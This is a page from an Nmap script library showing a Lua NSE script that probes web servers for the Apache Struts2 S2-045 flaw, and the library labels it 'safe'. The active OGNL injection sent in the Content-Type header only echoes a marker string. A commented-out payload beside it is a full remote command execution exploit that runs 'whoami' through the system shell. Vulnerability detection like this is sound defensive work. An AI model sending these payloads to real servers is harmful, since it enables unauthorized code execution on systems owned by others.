NSE LIB

Back to library
Unofficial safe Discovery

struts2-scan

Struts2 S2-045 Checks

Ports

Any

Protocols

n/a

Attribution

Z-0ne (upstream: Z-0ne/ScanS2-045-Nmap)

Usage

No example usage is currently available for this script entry.

Example usage has not been added for this script yet.
Script Source Toggle

The full script source is stored with this entry and is hidden by default to keep the page easier to scan.

description = [[
Struts2 S2-045 Checks
]]

---
-- nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -oX outscan.xml
--
-- BeaconLab http://plcscan.org/blog/
---

categories = {"discovery", "safe"}
author = "Z-0ne"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

local http = require "http"
local target = require "target"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"

--use script to scan any open TCP port
portrule = function(host, port)
  return port.state == "open"
end


action = function(host, port)
  local output = stdnse.output_table()
  local options
  local payload = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('Struts2S2045Checks!!!')).(#o.close())}"
  --local payload_cmd = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
  local useragent = "Mozilla/5.0"
  options = {header = {}, timeout = 15000}
  options["header"]["Content-type"] = payload
  options["header"]["User-Agent"] = useragent
  local response = http.get(host, port, "/", options)
  if response.status == 200 then
    if string.find(response.body, "Struts2S2045Checks") ~= nil then
	  -- exclude index "php default phpinfo() page"
	  if string.find(response.body, "phpinfo") == nil then
		--response: 0000   53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63  Struts2S2045Chec
                --          0010   6b 73 21 21 21                                   ks!!!
	    if #response.body == 21 then
              output["status"] = "S2-045-AChecks vuln21"
	      return output
		--response: 0000   53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63  Struts2S2045Chec
                --          0010   6b 73 21 21 21 0a                                ks!!!.
            elseif #response.body == 22 then
              output["status"] = "S2-045-AChecks vuln22"
	      return output
		--response: 0000   53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63  Struts2S2045Chec
                --          0010   6b 73 21 21 21 0d 0a                             ks!!!..
            elseif #response.body == 23 then
              output["status"] = "S2-045-AChecks vuln23"
	      return output
            elseif  #response.body < 50 then 
              output["status"] = "S2-045-AChecks"
              output["resplength"] = #response.body
              return output
            else
              output["status"] = "S2-045-AChecks lengtherror"
              output["resplength"] = #response.body
              return output
            end
	  end
	end
  end
  if response.status == 302 or response.status == 301 then
    if response.location then
      local parseurl = http.parse_url(response.location[#response.location])
    --fix location http://127.0.0.1/login.action to http://host:port/uri
      local response = http.get(parseurl.host,port,parseurl.path,options)
      if response.status == 200 then
        if string.find(response.body, "Struts2S2045Checks") ~= nil then
          if string.find(response.body, "phpinfo") == nil then
            if #response.body == 21 then
              output["status"] = "S2-045-BChecks vuln21"
              return output
            elseif #response.body == 22 then
              output["status"] = "S2-045-BChecks vuln22"
              return output
            elseif #response.body == 23 then
              output["status"] = "S2-045-BChecks vuln23"
              return output
            elseif  #response.body < 50 then
              output["status"] = "S2-045-BChecks"
              output["resplength"] = #response.body
              return output
            else
              output["status"] = "S2-045-BChecks lengtherror"
              output["resplength"] = #response.body
              return output
            end			  
          end
        end
      end
    end
  end
  -- Debug 
  -- if response.status == 404 and response.body then
    -- output["status"] = "S2-045-CChecks"
	-- output["res"] = response.body
	-- return output
  -- end
end